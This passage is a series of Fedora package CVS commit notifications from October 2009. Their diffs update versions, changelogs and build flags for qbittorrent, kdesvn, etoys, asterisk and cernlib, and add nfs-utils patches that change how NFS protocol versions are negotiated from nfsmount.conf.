RCS file: /cvs/pkgs/rpms/qbittorrent/devel/qbittorrent.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- qbittorrent.spec	22 Sep 2009 11:25:38 -0000	1.35
+++ qbittorrent.spec	1 Oct 2009 11:39:00 -0000	1.36
@@ -2,7 +2,7 @@
 
 Name:    qbittorrent
 Summary: A Bittorrent Client 
-Version: 1.5.2
+Version: 1.5.3
 Release: 1%{?dist}
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
@@ -74,6 +74,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/*/apps/qbittorrent.png
 
 %changelog
+* Thu Oct 01 2009 Leigh Scott <leigh123linux at googlemail.com> - 1.5.3-1
+- update to 1.5.3
+
 * Tue Sep 22 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.2-1
 - update to 1.5.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	22 Sep 2009 11:25:38 -0000	1.15
+++ sources	1 Oct 2009 11:39:00 -0000	1.16
@@ -1 +1 @@
-4b0440513eda51523fdd504274b057da  qbittorrent-1.5.2.tar.gz
+3db3e435ac00dc997e3b9d816ae93c45  qbittorrent-1.5.3.tar.gz



From jreznik at fedoraproject.org  Thu Oct  1 11:42:00 2009
From: jreznik at fedoraproject.org (Jaroslav Reznik)
Date: Thu,  1 Oct 2009 11:42:00 +0000 (UTC)
Subject: rpms/kdesvn/devel .cvsignore, 1.31, 1.32 kdesvn.spec, 1.59,
	1.60 sources, 1.30, 1.31
Message-ID: <20091001114200.4759911C00C1@cvs1.fedora.phx.redhat.com>

Author: jreznik

Update of /cvs/pkgs/rpms/kdesvn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14230

Modified Files:
	.cvsignore kdesvn.spec sources 
Log Message:
* Thu Oct 01 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.1-1
- Update to 1.4.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/devel/.cvsignore,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- .cvsignore	10 Aug 2009 10:19:36 -0000	1.31
+++ .cvsignore	1 Oct 2009 11:41:59 -0000	1.32
@@ -1 +1 @@
-kdesvn-1.4.0.tar.bz2
+kdesvn-1.4.1.tar.bz2


Index: kdesvn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/devel/kdesvn.spec,v
retrieving revision 1.59
retrieving revision 1.60
diff -u -p -r1.59 -r1.60
--- kdesvn.spec	10 Aug 2009 10:19:36 -0000	1.59
+++ kdesvn.spec	1 Oct 2009 11:41:59 -0000	1.60
@@ -1,5 +1,5 @@
 Name:           kdesvn
-Version:        1.4.0
+Version:        1.4.1
 Release:        1%{?dist}
 Summary:        A subversion client for KDE4 with KIO integration
 
@@ -107,6 +107,9 @@ xdg-icon-resource forceupdate --theme hi
 
 
 %changelog
+* Thu Oct 01 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.1-1
+- Update to 1.4.1
+
 * Mon Aug 10 2009 Jaroslav Reznik <jreznik at redhat.com> - 1.4.0-1
 - Update to 1.4.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdesvn/devel/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	10 Aug 2009 10:19:36 -0000	1.30
+++ sources	1 Oct 2009 11:42:00 -0000	1.31
@@ -1 +1 @@
-e1766103e7680079c2c4d3ea0ad11187  kdesvn-1.4.0.tar.bz2
+e5778ff1c19e50392a13096ab6756521  kdesvn-1.4.1.tar.bz2



From tuxbrewr at fedoraproject.org  Thu Oct  1 11:44:06 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Thu,  1 Oct 2009 11:44:06 +0000 (UTC)
Subject: rpms/etoys/F-12 etoys.spec,1.9,1.10 sources,1.8,1.9
Message-ID: <20091001114406.F14BA11C00C1@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/etoys/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14822

Modified Files:
	etoys.spec sources 
Log Message:
New upstream release


Index: etoys.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-12/etoys.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- etoys.spec	12 Sep 2009 13:44:24 -0000	1.9
+++ etoys.spec	1 Oct 2009 11:44:06 -0000	1.10
@@ -1,5 +1,5 @@
 %define name    etoys
-%define version 4.0.2279
+%define version 4.0.2319
 %define release 1%{?dist}
 %define source  %{name}-%{version}
 
@@ -89,7 +89,7 @@ update-desktop-database &> /dev/null || 
 %endif
 %doc ChangeLog LICENSE NOTICE README
 %dir %{_datadir}/etoys
-%{_datadir}/etoys/EtoysActivity.017.pr
+%{_datadir}/etoys/Home.004.pr
 %{_datadir}/etoys/EtoysV4.sources
 %{_datadir}/etoys/ExampleEtoys
 %{_datadir}/etoys/Gallery.024.pr
@@ -136,6 +136,9 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Thu Oct 1 2009 Steven M. Parrish <smparrish at gmail.com> - 4.0.2319-1
+- lastest upstream release 4.0.2319	
+
 * Sat Sep 12 2009 Steven M. Parrish <smparrish at gmail.com> - 4.0.2279-1
 - lastest upstream release 4.0.2279	
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	12 Sep 2009 13:44:24 -0000	1.8
+++ sources	1 Oct 2009 11:44:06 -0000	1.9
@@ -1 +1 @@
-77701b44a106f1316bed3b2c09319a50  etoys-4.0.2279.tar.gz
+604ba19acf9260ffd4650e6ff4234450  etoys-4.0.2319.tar.gz



From jcollie at fedoraproject.org  Thu Oct  1 11:49:19 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Thu,  1 Oct 2009 11:49:19 +0000 (UTC)
Subject: rpms/asterisk/devel asterisk.spec,1.57,1.58
Message-ID: <20091001114919.5C1B211C00C1@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16009

Modified Files:
	asterisk.spec 
Log Message:
* Wed Sep 30 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.3.rc2
- Merge firmware subpackage back into the main package.

* Wed Sep 30 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.2.rc2
- Package internal help.
- Fix up some more paths in the configs so that everything ends up where we want them.



Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/devel/asterisk.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- asterisk.spec	30 Sep 2009 16:57:58 -0000	1.57
+++ asterisk.spec	1 Oct 2009 11:49:19 -0000	1.58
@@ -2,7 +2,7 @@
 Summary: The Open Source PBX
 Name: asterisk
 Version: 1.6.2.0
-Release: 0.1%{?_rc:.rc%{_rc}}%{?dist}
+Release: 0.3%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
@@ -68,6 +68,7 @@ Requires(preun): /sbin/service
 # asterisk-conference package removed since patch no longer compiles
 Obsoletes: asterisk-conference <= 1.6.0-0.14.beta9
 Obsoletes: asterisk-mobile <= 1.6.1-0.23.rc1
+Obsoletes: asterisk-firmware <= 1.6.2.0-0.2.rc1
 
 %description
 Asterisk is a complete PBX in software. It runs on Linux and provides
@@ -153,15 +154,6 @@ Requires: festival
 %description festival
 Application for the Asterisk PBX that uses Festival to convert text to speech.
 
-%package firmware
-Summary: Firmware for the Digium S101I (IAXy)
-Group: Applications/Internet
-License: Redistributable, no modification permitted
-Requires: asterisk = %{version}-%{release}
-
-%description firmware
-Firmware for the Digium S101I (IAXy).
-
 %package ices
 Summary: Stream audio from Asterisk to an IceCast server
 Group: Applications/Internet
@@ -431,21 +423,21 @@ popd
 
 %configure --with-imap=system --with-gsm=/usr --with-libedit=yes
 
-ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 rm apps/app_voicemail.o apps/app_directory.o
 mv apps/app_voicemail.so apps/app_voicemail_plain.so
 mv apps/app_directory.so apps/app_directory_plain.so
 
 %{__sed} -i -e 's/^MENUSELECT_OPTS_app_voicemail=.*$/MENUSELECT_OPTS_app_voicemail=IMAP_STORAGE/' menuselect.makeopts
-ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 rm apps/app_voicemail.o apps/app_directory.o
 mv apps/app_voicemail.so apps/app_voicemail_imap.so
 mv apps/app_directory.so apps/app_directory_imap.so
 
 %{__sed} -i -e 's/^MENUSELECT_OPTS_app_voicemail=.*$/MENUSELECT_OPTS_app_voicemail=ODBC_STORAGE/' menuselect.makeopts
-ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 rm apps/app_voicemail.o apps/app_directory.o
 mv apps/app_voicemail.so apps/app_voicemail_odbc.so
@@ -455,7 +447,7 @@ mv apps/app_directory.so apps/app_direct
 touch apps/app_voicemail.o apps/app_directory.o
 touch apps/app_voicemail.so apps/app_directory.so
 
-ASTCFLAGS="%{optflags}" make progdocs DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make progdocs DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk  ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 # fix dates so that we don't get multilib conflicts
 find doc/api/html -type f -print0 | xargs --null touch -r ChangeLog
@@ -463,8 +455,8 @@ find doc/api/html -type f -print0 | xarg
 %install
 rm -rf %{buildroot}
 
-ASTCFLAGS="%{optflags}" make install DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk
-ASTCFLAGS="%{optflags}" make samples DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk
+ASTCFLAGS="%{optflags}" make install DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk
+ASTCFLAGS="%{optflags}" make samples DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk
 
 install -D -p -m 0755 contrib/init.d/rc.redhat.asterisk %{buildroot}%{_initrddir}/asterisk
 install -D -p -m 0644 contrib/sysconfig/asterisk %{buildroot}%{_sysconfdir}/sysconfig/asterisk
@@ -505,8 +497,6 @@ rm -rf %{buildroot}%{_datadir}/asterisk/
 rm -rf %{buildroot}%{_sbindir}/hashtest
 rm -rf %{buildroot}%{_sbindir}/hashtest2
 
-rm -rf %{buildroot}%{_datadir}/asterisk/documentation
-
 find doc/api/html -name \*.map -size 0 -delete
 
 %clean
@@ -537,11 +527,9 @@ fi
 %defattr(-,root,root,-)
 %doc README* *.txt ChangeLog BUGS CREDITS configs
 
-%doc doc/appdocsxml.dtd
 %doc doc/asterisk.sgml
 %doc doc/backtrace.txt
 %doc doc/callfiles.txt
-%doc doc/core-*.xml
 %doc doc/externalivr.txt
 %doc doc/macroexclusive.txt
 %doc doc/manager_1_1.txt
@@ -797,27 +785,30 @@ fi
 
 %config(noreplace) %{_sysconfdir}/logrotate.d/asterisk
 
-%dir %{_datadir}/asterisk/
-%dir %{_datadir}/asterisk/agi-bin/
-%{_datadir}/asterisk/images/
-%{_datadir}/asterisk/keys/
-%{_datadir}/asterisk/phoneprov/
-%{_datadir}/asterisk/static-http/
-%dir %{_datadir}/asterisk/moh/
-%dir %{_datadir}/asterisk/sounds/
-
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/lib/asterisk/
-
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-csv/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-custom/
-
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/
-%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/monitor/
-%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/outgoing/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/tmp/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/uploads/
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/voicemail/
+%dir %{_datadir}/asterisk
+%dir %{_datadir}/asterisk/agi-bin
+%{_datadir}/asterisk/documentation
+%dir %{_datadir}/asterisk/firmware
+%dir %{_datadir}/asterisk/firmware/iax
+%{_datadir}/asterisk/images
+%{_datadir}/asterisk/keys
+%{_datadir}/asterisk/phoneprov
+%{_datadir}/asterisk/static-http
+%dir %{_datadir}/asterisk/moh
+%dir %{_datadir}/asterisk/sounds
+
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/lib/asterisk
+
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-csv
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/log/asterisk/cdr-custom
+
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk
+%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/monitor
+%attr(0770,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/outgoing
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/tmp
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/uploads
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/voicemail
 
 %attr(0755,asterisk,asterisk) %dir %{_localstatedir}/run/asterisk
 
@@ -875,13 +866,9 @@ fi
 %files festival
 %defattr(-,root,root,-)
 %config(noreplace) %{_sysconfdir}/asterisk/festival.conf
-%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/festival/
+%attr(0750,asterisk,asterisk) %dir %{_localstatedir}/spool/asterisk/festival
 %{_libdir}/asterisk/modules/app_festival.so
 
-%files firmware
-%defattr(-,root,root,-)
-%{_datadir}/asterisk/firmware/
-
 %files ices
 %defattr(-,root,root,-)
 %doc contrib/asterisk-ices.xml
@@ -1021,6 +1008,13 @@ fi
 %{_libdir}/asterisk/modules/app_voicemail_plain.so
 
 %changelog
+* Wed Sep 30 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.3.rc2
+- Merge firmware subpackage back into the main package.
+
+* Wed Sep 30 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.2.rc2
+- Package internal help.
+- Fix up some more paths in the configs so that everything ends up where we want them.
+
 * Wed Sep 30 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.2.0-0.1.rc2
 - Update to 1.6.2.0-rc2
 - We no longer need to strip the tarball as it no longer includes non-free items.



From jwrdegoede at fedoraproject.org  Thu Oct  1 11:49:16 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Thu,  1 Oct 2009 11:49:16 +0000 (UTC)
Subject: rpms/cernlib/devel cernlib.spec,1.78,1.79
Message-ID: <20091001114917.0247F11C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/cernlib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15992

Modified Files:
	cernlib.spec 
Log Message:
* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> 2006-34
- Fix FTBFS



Index: cernlib.spec
===================================================================
RCS file: /cvs/extras/rpms/cernlib/devel/cernlib.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- cernlib.spec	24 Jul 2009 18:48:20 -0000	1.78
+++ cernlib.spec	1 Oct 2009 11:49:16 -0000	1.79
@@ -55,7 +55,7 @@
 
 Name:          %{?compat}cernlib%{?compiler}
 Version:       2006
-Release:       33%{?dist}
+Release:       34%{?dist}
 Summary:       General purpose CERN library
 Group:         Development/Libraries
 # As explained in the cernlib on debian FAQ, cfortran can be considered LGPL.
@@ -914,7 +914,7 @@ fi
         sed -i.gfortran -e 's/f77/gfortran/' fcasplit.f p4boot.sh
 %endif
         sed -i.optflags -e 's/FOPT \+=.*/FOPT = "'"$FC_OPTFLAGS"'"/' \
-                 -e 's/COPT  \+=.*/COPT = "%{optflags}"/' p4boot.sh
+                 -e 's/COPT  \+=.*/COPT = "%{optflags} -D_GNU_SOURCE"/' p4boot.sh
 #        export PATH="$CERN/patchy:$CERN/patchy/p4sub:$PATH" 
         export PATH=".:..:$PATH" 
         p4boot.sh 0
@@ -922,7 +922,7 @@ popd
 export PATH=$PATHSAVE
 
 # pass informations to the build system through host.def
-echo '#define DefaultCDebugFlags %{optflags}' >> ${CVSCOSRC}/config/host.def
+echo '#define DefaultCDebugFlags %{optflags} -D_GNU_SOURCE' >> ${CVSCOSRC}/config/host.def
 
 %if %{with gfortran}
 echo '#define Hasgfortran YES' >> ${CVSCOSRC}/config/host.def
@@ -1435,6 +1435,9 @@ touch --no-create %{_datadir}/icons/hico
 %endif
 
 %changelog
+* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> 2006-34
+- Fix FTBFS
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2006-33
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jwrdegoede at fedoraproject.org  Thu Oct  1 11:50:21 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Thu,  1 Oct 2009 11:50:21 +0000 (UTC)
Subject: rpms/cernlib/F-12 cernlib.spec,1.78,1.79
Message-ID: <20091001115021.AB6E211C043C@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/cernlib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16432

Modified Files:
	cernlib.spec 
Log Message:
* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> 2006-34
- Fix FTBFS



Index: cernlib.spec
===================================================================
RCS file: /cvs/extras/rpms/cernlib/F-12/cernlib.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- cernlib.spec	24 Jul 2009 18:48:20 -0000	1.78
+++ cernlib.spec	1 Oct 2009 11:50:21 -0000	1.79
@@ -55,7 +55,7 @@
 
 Name:          %{?compat}cernlib%{?compiler}
 Version:       2006
-Release:       33%{?dist}
+Release:       34%{?dist}
 Summary:       General purpose CERN library
 Group:         Development/Libraries
 # As explained in the cernlib on debian FAQ, cfortran can be considered LGPL.
@@ -914,7 +914,7 @@ fi
         sed -i.gfortran -e 's/f77/gfortran/' fcasplit.f p4boot.sh
 %endif
         sed -i.optflags -e 's/FOPT \+=.*/FOPT = "'"$FC_OPTFLAGS"'"/' \
-                 -e 's/COPT  \+=.*/COPT = "%{optflags}"/' p4boot.sh
+                 -e 's/COPT  \+=.*/COPT = "%{optflags} -D_GNU_SOURCE"/' p4boot.sh
 #        export PATH="$CERN/patchy:$CERN/patchy/p4sub:$PATH" 
         export PATH=".:..:$PATH" 
         p4boot.sh 0
@@ -922,7 +922,7 @@ popd
 export PATH=$PATHSAVE
 
 # pass informations to the build system through host.def
-echo '#define DefaultCDebugFlags %{optflags}' >> ${CVSCOSRC}/config/host.def
+echo '#define DefaultCDebugFlags %{optflags} -D_GNU_SOURCE' >> ${CVSCOSRC}/config/host.def
 
 %if %{with gfortran}
 echo '#define Hasgfortran YES' >> ${CVSCOSRC}/config/host.def
@@ -1435,6 +1435,9 @@ touch --no-create %{_datadir}/icons/hico
 %endif
 
 %changelog
+* Thu Oct  1 2009 Hans de Goede <hdegoede at redhat.com> 2006-34
+- Fix FTBFS
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2006-33
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From steved at fedoraproject.org  Thu Oct  1 11:50:41 2009
From: steved at fedoraproject.org (Steve Dickson)
Date: Thu,  1 Oct 2009 11:50:41 +0000 (UTC)
Subject: rpms/nfs-utils/devel nfs-utils-1.2.0-mntconf-negation.patch, NONE, 
	1.1 nfs-utils-1.2.0-mntconf-vers.patch, NONE,
	1.1 nfs-utils-1.2.0-mount-vers4.patch, 1.1, 1.2 nfs-utils.spec,
	1.243, 1.244
Message-ID: <20091001115041.42A9B11C043C@cvs1.fedora.phx.redhat.com>

Author: steved

Update of /cvs/pkgs/rpms/nfs-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16464

Modified Files:
	nfs-utils-1.2.0-mount-vers4.patch nfs-utils.spec 
Added Files:
	nfs-utils-1.2.0-mntconf-negation.patch 
	nfs-utils-1.2.0-mntconf-vers.patch 
Log Message:
 - Change the nfsmount.conf file to define v3 as the default 
   protocol version.
 - Make sure versions set on the command line override version
   set in nfsmount.conf
 - Make version rollbacks still work when versions are set in
   nfsmount.conf


nfs-utils-1.2.0-mntconf-negation.patch:
 configfile.c |   13 +++++++++++++
 stropts.c    |   11 ++++++++++-
 2 files changed, 23 insertions(+), 1 deletion(-)

--- NEW FILE nfs-utils-1.2.0-mntconf-negation.patch ---
diff -up nfs-utils-1.2.0/utils/mount/configfile.c.orig nfs-utils-1.2.0/utils/mount/configfile.c
--- nfs-utils-1.2.0/utils/mount/configfile.c.orig	2009-09-30 13:57:48.647286000 -0400
+++ nfs-utils-1.2.0/utils/mount/configfile.c	2009-09-30 14:50:05.365468000 -0400
@@ -198,6 +198,15 @@ int inline check_vers(char *mopt, char *
 	}
 	return 0;
 }
+int inline vers_is_set(char *mopt)
+{
+	int i;
+
+	for (i=0; versions[i]; i++)
+		if (strncasecmp(mopt, versions[i], strlen(versions[i])) == 0)
+			return 1;
+	return 0;
+}
 /*
  * Parse the given section of the configuration 
  * file to if there are any mount options set.
@@ -256,6 +265,8 @@ conf_parse_mntopts(char *section, char *
 	conf_free_list(list);
 }
 
+int do_version_negation;
+
 /*
  * Concatenate options from the configuration file with the 
  * given options by building a link list of options from the
@@ -326,6 +337,8 @@ char *conf_get_mntopts(char *spec, char 
 		strcat(config_opts, ",");
 	}
 	SLIST_FOREACH(entry, &head, entries) {
+		if (vers_is_set(entry->opt))
+			do_version_negation = 1;
 		strcat(config_opts, entry->opt);
 		strcat(config_opts, ",");
 	}
diff -up nfs-utils-1.2.0/utils/mount/stropts.c.orig nfs-utils-1.2.0/utils/mount/stropts.c
--- nfs-utils-1.2.0/utils/mount/stropts.c.orig	2009-09-30 13:57:48.613288000 -0400
+++ nfs-utils-1.2.0/utils/mount/stropts.c	2009-09-30 14:59:56.716461000 -0400
@@ -588,6 +588,7 @@ out_fail:
 	po_destroy(options);
 	return result;
 }
+extern int do_version_negation;
 
 /*
  * This is a single pass through the fg/bg loop.
@@ -607,12 +608,20 @@ static int nfs_try_mount(struct nfsmount
 			if (errno != EPROTONOSUPPORT)
 				break;
 		}
-	case 2:
 	case 3:
+		if (do_version_negation)
+			po_remove_all(mi->options, "nfsvers");
+	case 2:
 		result = nfs_try_mount_v3v2(mi);
 		break;
 	case 4:
 		result = nfs_try_mount_v4(mi);
+		if (do_version_negation && !result) {
+			if (errno == EPROTONOSUPPORT) {
+				po_remove_all(mi->options, "nfsvers");
+				result = nfs_try_mount_v3v2(mi);
+			}
+		}
 		break;
 	default:
 		errno = EIO;

nfs-utils-1.2.0-mntconf-vers.patch:
 configfile.c |   19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

--- NEW FILE nfs-utils-1.2.0-mntconf-vers.patch ---
diff -up nfs-utils-1.2.0/utils/mount/configfile.c.orig nfs-utils-1.2.0/utils/mount/configfile.c
--- nfs-utils-1.2.0/utils/mount/configfile.c.orig	2009-09-30 11:38:53.745992000 -0400
+++ nfs-utils-1.2.0/utils/mount/configfile.c	2009-09-30 13:49:38.480625000 -0400
@@ -185,6 +185,19 @@ void free_all(void)
 		free(entry);
 	}
 }
+static char *versions[] = {"v2", "v3", "v4", "vers", "nfsvers", NULL};
+int inline check_vers(char *mopt, char *field)
+{
+	int i;
+
+	if (strcasecmp(field, "nfsvers") == 0 || 
+				strcasecmp(field, "vers") == 0) {
+		for (i=0; versions[i]; i++)
+			if (strncasecmp(mopt, versions[i], strlen(versions[i])) == 0)
+				return 1;
+	}
+	return 0;
+}
 /*
  * Parse the given section of the configuration 
  * file to if there are any mount options set.
@@ -207,6 +220,12 @@ conf_parse_mntopts(char *section, char *
 		snprintf(buf, BUFSIZ, "%s=", node->field);
 		if (opts && strcasestr(opts, buf) != NULL)
 			continue;
+		/* 
+		 * Protocol verions can be set in a number of ways
+		 */
+		if (opts && check_vers(opts, node->field))
+			continue;
+
 		if (lookup_entry(node->field) != NULL)
 			continue;
 		buf[0] = '\0';

nfs-utils-1.2.0-mount-vers4.patch:
 nfsmount.conf |    6 +++---
 stropts.c     |    2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

Index: nfs-utils-1.2.0-mount-vers4.patch
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/devel/nfs-utils-1.2.0-mount-vers4.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- nfs-utils-1.2.0-mount-vers4.patch	30 Sep 2009 00:52:00 -0000	1.1
+++ nfs-utils-1.2.0-mount-vers4.patch	1 Oct 2009 11:50:39 -0000	1.2
@@ -1,6 +1,6 @@
 diff -up nfs-utils-1.2.0/utils/mount/nfsmount.conf.orig nfs-utils-1.2.0/utils/mount/nfsmount.conf
---- nfs-utils-1.2.0/utils/mount/nfsmount.conf.orig	2009-09-29 18:48:47.000000000 -0400
-+++ nfs-utils-1.2.0/utils/mount/nfsmount.conf	2009-09-29 19:02:06.000000000 -0400
+--- nfs-utils-1.2.0/utils/mount/nfsmount.conf.orig	2009-09-30 11:32:14.148326000 -0400
++++ nfs-utils-1.2.0/utils/mount/nfsmount.conf	2009-09-30 11:35:24.714787000 -0400
 @@ -24,12 +24,12 @@
  # All reads and writes to the 'nfsserver.foo.com' server 
  # will be done with 32k (32768 bytes) block sizes.
@@ -13,13 +13,13 @@ diff -up nfs-utils-1.2.0/utils/mount/nfs
 -# Protocol Version [2,3]
 -# Nfsvers=3
 +# Protocol Version [2,3,4]
-+#Nfsvers=3
++Nfsvers=3
  # Network Transport [Udp,Tcp,Rdma]
  # Proto=Tcp
  #
 diff -up nfs-utils-1.2.0/utils/mount/stropts.c.orig nfs-utils-1.2.0/utils/mount/stropts.c
---- nfs-utils-1.2.0/utils/mount/stropts.c.orig	2009-09-29 18:48:47.000000000 -0400
-+++ nfs-utils-1.2.0/utils/mount/stropts.c	2009-09-29 19:01:10.000000000 -0400
+--- nfs-utils-1.2.0/utils/mount/stropts.c.orig	2009-09-30 11:32:14.214327000 -0400
++++ nfs-utils-1.2.0/utils/mount/stropts.c	2009-09-30 11:34:35.841020000 -0400
 @@ -601,7 +601,7 @@ static int nfs_try_mount(struct nfsmount
  
  	switch (mi->version) {


Index: nfs-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nfs-utils/devel/nfs-utils.spec,v
retrieving revision 1.243
retrieving revision 1.244
diff -u -p -r1.243 -r1.244
--- nfs-utils.spec	30 Sep 2009 00:52:00 -0000	1.243
+++ nfs-utils.spec	1 Oct 2009 11:50:39 -0000	1.244
